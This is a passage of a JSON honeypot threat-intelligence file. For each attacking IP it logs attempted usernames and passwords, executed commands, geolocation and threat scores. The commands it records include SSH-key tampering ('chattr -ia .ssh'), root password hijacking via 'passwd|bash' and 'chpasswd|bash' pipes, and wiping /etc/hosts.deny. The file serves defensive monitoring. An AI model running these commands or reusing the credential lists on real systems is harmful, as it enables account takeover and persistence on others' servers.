        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 1806,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T03:00:36.776000+00:00",
        "last_seen_30d": "2026-03-19T03:38:12.006000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1285,
        "Suricata": 521
      }
    },
    "45.120.216.232": {
      "attack_count": 811,
      "first_seen": "2026-03-11T14:27:17.009Z",
      "last_seen": "2026-03-26T08:17:46.860Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "bkp",
        "gw",
        "jhpark",
        "kapsch",
        "llm",
        "mehedi",
        "node",
        "root",
        "rramirez",
        "tigergraph",
        "admin1234",
        "ai",
        "andre",
        "arthur",
        "ashish",
        "db2admin",
        "demon",
        "deployuser",
        "gm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "1234",
        "123",
        "password",
        "12345678",
        "Ashish123!",
        "Gw123!",
        "Intell123",
        "Internet123!",
        "Kapsch123!",
        "Linux123!",
        "Mo123!",
        "Ruben123",
        "bkppass",
        "db2admin1234",
        "demon",
        "dodol123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n3TCvKZudiHbZ\\n3TCvKZudiHbZ\\n\"|passwd",
        "echo \"123456\\n1wEvrWOLmkKa\\n1wEvrWOLmkKa\\n\"|passwd",
        "echo \"12345\\nnOMNab5meO6A\\nnOMNab5meO6A\\n\"|passwd",
        "echo \"Gw123!\\nWG4DdP51JZDE\\nWG4DdP51JZDE\\n\"|passwd",
        "echo \"Kapsch123!\\njiqjJ5OMWAlF\\njiqjJ5OMWAlF\\n\"|passwd",
        "echo \"bkppass\\nfkAAkU15Ugay\\nfkAAkU15Ugay\\n\"|passwd",
        "echo \"jhpark123!\\nSe2hnXs9wjIt\\nSe2hnXs9wjIt\\n\"|passwd",
        "echo \"node123!\\nYM5Y3BOMm27D\\nYM5Y3BOMm27D\\n\"|passwd",
        "echo \"tigergraphpass\\nJ2IrfnpY9zoG\\nJ2IrfnpY9zoG\\n\"|passwd",
        "echo -e \"12345678\\n3TCvKZudiHbZ\\n3TCvKZudiHbZ\"|passwd|bash",
        "echo -e \"123456\\n1wEvrWOLmkKa\\n1wEvrWOLmkKa\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 134366,
      "as_org": "Cloud Computing HK Limited",
      "threat_score": 45.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 939,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:27:17.009000+00:00",
        "last_seen_30d": "2026-03-26T08:18:47+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 811,
        "Suricata": 128
      }
    },
    "144.48.8.10": {
      "attack_count": 728,
      "first_seen": "2026-03-02T00:01:31.678Z",
      "last_seen": "2026-03-20T19:02:14.363Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "mongod",
        "postgres",
        "webmin",
        "boom",
        "elearn",
        "esuser",
        "family",
        "manel",
        "online",
        "ops",
        "player",
        "purple",
        "readonlyuser",
        "remoteuser",
        "rose",
        "saeed",
        "victor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "123",
        "1233218613",
        "1234",
        "1234.abcd",
        "123QWEasd!@#",
        "123qweQWE!",
        "151515",
        "1q2w!Q@W",
        "21ops.comM",
        "@dmin2024",
        "Aa1234567",
        "As123456@",
        "Ebznl150783",
        "P@ssw0rd@2025",
        "Rose123!",
        "Test1234!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1233218613\\n564zyEgKnWAv\\n564zyEgKnWAv\\n\"|passwd",
        "echo \"1234\\nkm9NJr830NHJ\\nkm9NJr830NHJ\\n\"|passwd",
        "echo \"123\\nHdOjRliHShz7\\nHdOjRliHShz7\\n\"|passwd",
        "echo \"mongod123\\nwA0RQu5fJWKv\\nwA0RQu5fJWKv\\n\"|passwd",
        "echo \"root:1POey2GAwUCT\"|chpasswd|bash",
        "echo \"root:IbbIEI82XZUE\"|chpasswd|bash",
        "echo \"root:uccm57COm9vW\"|chpasswd|bash",
        "echo -e \"1233218613\\n564zyEgKnWAv\\n564zyEgKnWAv\"|passwd|bash",
        "echo -e \"1234\\nkm9NJr830NHJ\\nkm9NJr830NHJ\"|passwd|bash",
        "echo -e \"123\\nHdOjRliHShz7\\nHdOjRliHShz7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.5,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 882,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:21.913000+00:00",
        "last_seen_30d": "2026-03-20T19:03:18.977000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 728,
        "Suricata": 154
      }
    },
    "103.30.41.231": {
      "attack_count": 642,
      "first_seen": "2026-03-10T05:24:57.716Z",
      "last_seen": "2026-03-17T18:01:57.395Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "apexuser",
        "test",
        "clawd",
        "g",
        "simeon",
        "sysadmin",
        "yan",
        "arthur",
        "ax",
        "b",
        "chrism",
        "dheeraj",
        "elastic",
        "ftp_test",
        "gg",
        "java",
        "jira",
        "jupyter"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345678",
        "12345",
        "123qweasdZXC",
        "Aa123456Aa",
        "Abcd1234.",
        "Huawei@123",
        "Root12345",
        "apexuser123!",
        "axpass",
        "b123!",
        "chrism",
        "dheeraj123!",
        "java1234",
        "jira",
        "lol"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nDqwrsxtC8Br1\\nDqwrsxtC8Br1\\n\"|passwd",
        "echo \"123456\\nmpwDzPEDi0ld\\nmpwDzPEDi0ld\\n\"|passwd",
        "echo \"Huawei@123\\nFFP1yYfFHqGD\\nFFP1yYfFHqGD\\n\"|passwd",
        "echo \"apexuser123!\\niU9JEOInpUxh\\niU9JEOInpUxh\\n\"|passwd",
        "echo \"root:rtP7nyZgQ6qU\"|chpasswd|bash",
        "echo \"sysadmin123\\njaAPeMbtSzvT\\njaAPeMbtSzvT\\n\"|passwd",
        "echo \"yan123!\\nsfBHEzl2eW59\\nsfBHEzl2eW59\\n\"|passwd",
        "echo -e \"12345678\\nDqwrsxtC8Br1\\nDqwrsxtC8Br1\"|passwd|bash",
        "echo -e \"123456\\nmpwDzPEDi0ld\\nmpwDzPEDi0ld\"|passwd|bash",
        "echo -e \"Huawei@123\\nFFP1yYfFHqGD\\nFFP1yYfFHqGD\"|passwd|bash",
        "echo -e \"apexuser123!\\niU9JEOInpUxh\\niU9JEOInpUxh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 747,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:24:57.716000+00:00",
        "last_seen_30d": "2026-03-17T18:02:57.755000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 642,
        "Suricata": 105
      }
    },
    "182.18.161.165": {
      "attack_count": 460,
      "first_seen": "2026-03-10T17:46:52.497Z",
      "last_seen": "2026-03-13T01:26:38.012Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "student4",
        "asterix",
        "clawd",
        "lucas",
        "arkserver",
        "dev",
        "emo",
        "go",
        "michele",
        "msf",
        "nikola",
        "root",
        "stream",
        "superadmin",
        "syncuser",
        "terraria",
        "toro",
        "trading"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "12345678",
        "90909090",
        "Asterix123",
        "Emo123",
        "Terraria123!",
        "Toro123!",
        "Wialon123",
        "ark",
        "clawd@123",
        "gopass",
        "michelepass",
        "msf123!",
        "nikola123!",
        "pass123",
        "password123",
        "qwerty"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nwel3QjRtql8g\\nwel3QjRtql8g\\n\"|passwd",
        "echo \"Asterix123\\nGsf664peSi5L\\nGsf664peSi5L\\n\"|passwd",
        "echo \"clawd@123\\nBBehfDA2Mwhj\\nBBehfDA2Mwhj\\n\"|passwd",
        "echo \"qwerty\\nela7slX2wis8\\nela7slX2wis8\\n\"|passwd",
        "echo \"student41234\\nZefSzrlr3VJ5\\nZefSzrlr3VJ5\\n\"|passwd",
        "echo -e \"123\\nwel3QjRtql8g\\nwel3QjRtql8g\"|passwd|bash",
        "echo -e \"Asterix123\\nGsf664peSi5L\\nGsf664peSi5L\"|passwd|bash",
        "echo -e \"clawd@123\\nBBehfDA2Mwhj\\nBBehfDA2Mwhj\"|passwd|bash",
        "echo -e \"qwerty\\nela7slX2wis8\\nela7slX2wis8\"|passwd|bash",
        "echo -e \"student41234\\nZefSzrlr3VJ5\\nZefSzrlr3VJ5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 18229,
      "as_org": "CtrlS",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 534,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:46:52.497000+00:00",
        "last_seen_30d": "2026-03-13T01:27:47.406000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 74
      }
    },
    "194.164.59.59": {
      "attack_count": 456,
      "first_seen": "2026-03-12T03:39:10.871Z",
      "last_seen": "2026-03-21T13:46:41.436Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "adrian",
        "coder",
        "ljd",
        "mirror",
        "aaa",
        "android",
        "applprod",
        "bot1",
        "bryan",
        "camille",
        "claude",
        "evan",
        "ftptest",
        "gold",
        "jupyter",
        "kyle",
        "localhost",
        "louis",
        "lucas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "12345",
        "123456",
        "password",
        "1234",
        "Jupyter123",
        "Kyle123",
        "Mirror123",
        "Odoo123",
        "Ops123!",
        "Trooper123!",
        "adrian2025",
        "aini130.",
        "bryan123!",
        "camille@123",
        "claude123",
        "coder123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Mirror123\\noBAsO3ygoEz1\\noBAsO3ygoEz1\\n\"|passwd",
        "echo \"adrian2025\\nPEk0endY5YdA\\nPEk0endY5YdA\\n\"|passwd",
        "echo \"coder123\\nGSuxYgEwgLrp\\nGSuxYgEwgLrp\\n\"|passwd",
        "echo \"ljdpass\\neqPEmLF7AGFX\\neqPEmLF7AGFX\\n\"|passwd",
        "echo -e \"Mirror123\\noBAsO3ygoEz1\\noBAsO3ygoEz1\"|passwd|bash",
        "echo -e \"adrian2025\\nPEk0endY5YdA\\nPEk0endY5YdA\"|passwd|bash",
        "echo -e \"coder123\\nGSuxYgEwgLrp\\nGSuxYgEwgLrp\"|passwd|bash",
        "echo -e \"ljdpass\\neqPEmLF7AGFX\\neqPEmLF7AGFX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 556,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T03:39:10.871000+00:00",
        "last_seen_30d": "2026-03-21T13:47:48.592000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 100
      }
    },
    "34.95.197.36": {
      "attack_count": 448,
      "first_seen": "2026-03-10T22:25:06.764Z",
      "last_seen": "2026-03-20T14:07:41.104Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ceshi",
        "clawd",
        "docker",
        "Test",
        "admin",
        "andres",
        "arun",
        "builder",
        "devops",
        "diego",
        "evan",
        "fox",
        "jitendra",
        "mailuser",
        "tigergraph",
        "user001",
        "yzh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "1234",
        "123456",
        "12345678",
        "1qaz",
        "Aa12345678@",
        "Evan123",
        "Mailuser123!",
        "andres123",
        "builder",
        "lb@123456",
        "qwerty654321",
        "qwertyqwerty",
        "yzh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nJw5IMGqcTcid\\nJw5IMGqcTcid\\n\"|passwd",
        "echo \"1234\\ngjyHVVdzMJeC\\ngjyHVVdzMJeC\\n\"|passwd",
        "echo \"123\\nWqV6jyrkgegx\\nWqV6jyrkgegx\\n\"|passwd",
        "echo \"root:L7W7Ntyg8kL8\"|chpasswd|bash",
        "echo \"root:ZLm3WoZKETfG\"|chpasswd|bash",
        "echo -e \"12345678\\nJw5IMGqcTcid\\nJw5IMGqcTcid\"|passwd|bash",
        "echo -e \"1234\\ngjyHVVdzMJeC\\ngjyHVVdzMJeC\"|passwd|bash",
        "echo -e \"123\\nWqV6jyrkgegx\\nWqV6jyrkgegx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 520,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:25:06.764000+00:00",
        "last_seen_30d": "2026-03-20T14:08:46.749000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 448,
        "Suricata": 72
      }
    },
    "104.248.200.48": {
      "attack_count": 425,
      "first_seen": "2026-03-17T22:08:31.467Z",
      "last_seen": "2026-03-17T23:14:42.007Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "debian",
        "admin",
        "daemon",
        "dev",
        "developer",
        "backup",
        "docker",
        "dspace"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "wasd",
        "21",
        "321",
        "P455word",
        "P@$word",
        "Pa$w0rd",
        "Pa$word",
        "Pa55w0rd",
        "Pa55word",
        "Password",
        "admin12",
        "backup12",
        "daemon",
        "daemon1"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 607,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:08:31.467000+00:00",
        "last_seen_30d": "2026-03-17T23:15:45.827000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 425,
        "Suricata": 182
      }
    },
    "103.23.199.119": {
      "attack_count": 389,
      "first_seen": "2026-03-06T21:46:52.794Z",
      "last_seen": "2026-03-09T23:14:37.255Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "arthur",
        "dylan",
        "andres",
        "bhavesh",
        "clawd",
        "farmacia",
        "frappe",
        "hadoop",
        "jhpark",
        "jira",
        "md",
        "msf",
        "nikita",
        "roots",
        "scraper",
        "service",
        "site2030",
        "ts3"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "@qwer2025",
        "@qwer2026",
        "Jhpark123!",
        "Roots123!",
        "admin@2025",
        "andrespass",
        "clawd123",
        "dylan1234",
        "farmacia1234",
        "md",
        "msfpass",
        "password",
        "scraper123!",
        "service",
        "windows"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nXdoHSsGDzY7u\\nXdoHSsGDzY7u\\n\"|passwd",
        "echo \"dylan1234\\nUlROlNHrSrQk\\nUlROlNHrSrQk\\n\"|passwd",
        "echo \"root:6andoQkrDlzT\"|chpasswd|bash",
        "echo \"root:GcQ2Ui0RIgCh\"|chpasswd|bash",
        "echo -e \"1234\\nXdoHSsGDzY7u\\nXdoHSsGDzY7u\"|passwd|bash",
        "echo -e \"dylan1234\\nUlROlNHrSrQk\\nUlROlNHrSrQk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 465,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:46:52.794000+00:00",
        "last_seen_30d": "2026-03-09T23:15:46.409000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 389,
        "Suricata": 76
      }
    },
    "14.177.234.24": {
      "attack_count": 381,
      "first_seen": "2026-03-06T19:18:32.547Z",
      "last_seen": "2026-03-14T23:26:57.221Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "paolo",
        "certftp",
        "flutter",
        "root",
        "toan",
        "api",
        "app",
        "asdf",
        "astro",
        "bot",
        "flussonic",
        "moon",
        "pyramid",
        "saad",
        "sistemas",
        "sri",
        "superadmin",
        "testing",
        "tv"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "12345",
        "123456",
        "@qwer2024",
        "@qwer2025",
        "Api123",
        "App123!",
        "Flutter123",
        "Testing123!",
        "astro1234",
        "certftp123!",
        "moon123",
        "paolo",
        "password",
        "pyramid123!",
        "saadpass",
        "sistemas"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n1UBUkuihP9PC\\n1UBUkuihP9PC\\n\"|passwd",
        "echo \"Flutter123\\nlcLVtcsrACeL\\nlcLVtcsrACeL\\n\"|passwd",
        "echo \"certftp123!\\nkZKBJ2DjURkz\\nkZKBJ2DjURkz\\n\"|passwd",
        "echo \"paolo\\nTYIQEdOUaDhV\\nTYIQEdOUaDhV\\n\"|passwd",
        "echo -e \"12345678\\n1UBUkuihP9PC\\n1UBUkuihP9PC\"|passwd|bash",
        "echo -e \"Flutter123\\nlcLVtcsrACeL\\nlcLVtcsrACeL\"|passwd|bash",
        "echo -e \"certftp123!\\nkZKBJ2DjURkz\\nkZKBJ2DjURkz\"|passwd|bash",
        "echo -e \"paolo\\nTYIQEdOUaDhV\\nTYIQEdOUaDhV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 9,
